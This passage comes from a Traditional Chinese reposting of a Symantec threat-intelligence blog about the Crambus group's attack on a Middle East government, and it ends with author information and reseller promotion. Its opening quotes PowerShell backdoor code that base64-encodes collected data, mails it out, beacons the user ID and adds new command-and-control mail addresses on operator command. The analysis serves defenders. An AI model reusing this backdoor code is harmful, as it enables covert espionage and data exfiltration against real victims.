            $Datab64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("file upload"))
            $extb64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(".txt"))
            $Total += "$($uuid)$($userid):$($h.Name):$($uuid)$($Datab64):$($uuid)$($extb64)"+[System.Environment]::Newline
```

```
            }
            sendMessage $mailSender $Total
        }
}}
Function listen
{
    $timer = [System.Diagnostics.Stopwatch]::StartNew()
    while(($timer.Elapsed.TotalMinutes -lt 5) -and (([string]::IsNullOrEmpty($value))))
    {
        $value = verify
        Start-Sleep -Seconds 10
    }
    $timer.Stop()
    if(-not[string]::IsNullOrEmpty($value))
        {
            if($value[0] -eq "planA")
            {
                return $true
            }
            if($value[0] -eq "planB")
            {
                $mailList+= $value[1]
                sendMessage $value[1] $userid
                return $true
            }
        }
        else
            {
                return $false
            }
}
function alive
{
    foreach ($mail in $mailList)
    {
        sendMessage $mail $userid
        $liste = listen
        if($liste -eq $true)
            {
                return $true
            }
    }
```

```
    return $false
}
function core
{
$global:flag= $true
$value = verify
if(-not[string]::IsNullOrEmpty($value))
    {
        if($value[0] -eq "planA")
        {
            main $value[1]
        }
    }
}
$connect = connection
if($connect -eq $true)
{
    if($directory.Name -ne 'config.conf')
        {
            $global:flag= $false
            $aliv = alive
            if($aliv -eq $true)
                {
                    try{New-Item -Path "$($dir)" -ItemType File -Name "config.conf" -ErrorAction Stop;core}
catch{}
                }
        }else{core}
}else{exit}
```

關於作者

威脅獵手團隊
賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。

原廠網址：https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/crambus-middle-east-government
本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2023/10

更多資訊 請造訪我們的網站 **http://www.SaveTime.com.tw**
(好記：幫您節省時間.的公司.在台灣)

關於賽門鐵克 (Symantec)

賽門鐵克 (Symantec) 已於 2019/11 併入全球網通晶片巨擘--博通 (BroadCom，美國股市代號 AVGO，全世界網際網路流量有 99.9% 經過博通的網通晶片) 軟體事業部的企業安全部門 (SED)，特別是近年以半導體的嚴謹、系統化以及零錯誤思維來改造核心技術、管理框架以及整合最完整的資安生態體系，讓賽門鐵克的解決方案在穩定性、相容性、有效性以及資安生態系整合擴充性，有著脫胎換骨並超越業界的長足進步。博通 (Broadcom) 是務實的完美主義者，致力於追求卓越、關注細節並且有系統和紀律地投入科技創新與嚴謹工藝，同時也大大降低交易複雜性。Symantec 持續創新的技術能為日新月異的資安問題提供更好的解決方案，近三年 Symantec 很少出現在由公關機制產生的頭版文章中，而且在全球前兩千大企業的市佔率及營收成長均遠遠高於併入博通之前，增長幅度也領先其他競爭對手，是科技創新驅動的解決方案非常穩健可靠深受大型企業信賴的實證，也顯示大型企業顧客對轉型中的新賽門鐵克未來充滿信心。(美籍華人王嘉廉創辦的企業軟體公司，組合國際電腦（CA Technologies）以及雲端運算及「硬體虛擬化」的領導廠商--VMware， 也是博通軟體事業部的成員)。2021 年八月，因應國外發動的針對性攻擊日益嚴重，美國網路安全暨基礎架構安全管理署（CISA）宣布聯合民間科技公司，發展全國性聯合防禦計畫 JCDC(Joint Cyber Defense Collaborative)，而博通賽門鐵克是首輪被徵招的一線廠商，如就地緣政治考量，Symantec 也絕對是最安全的資安廠商。擁有更強大資源與技術為後盾的賽門鐵克已更專注於整合各種最新科技於既有領先業界的端點、郵件、網頁以及身分認證等安全解決方案。

關於保安資訊 www.savetime.com.tw

保安資訊團隊是台灣第一家專注在賽門鐵克解決方案的技術型領導廠商，被業界公認為賽門鐵克解決方案專家。自 1995 年起就全心全力於賽門鐵克資訊安全解決方案的技術支援、銷售、規劃與整合、教育訓練、顧問服務，特別是提供企業 IT 專業人員的知識傳承 (Knowledge Transfer)、協助顧客符合邏輯地解決資安問題本質的效益上，以及基於比原廠更孰悉用戶環境的優勢能提供更快速有效的技術支援回應，深獲許多中大型企業與組織的信賴，長期合作的意願與滿意度極高。保安資訊連絡電話：**0800-381-500**。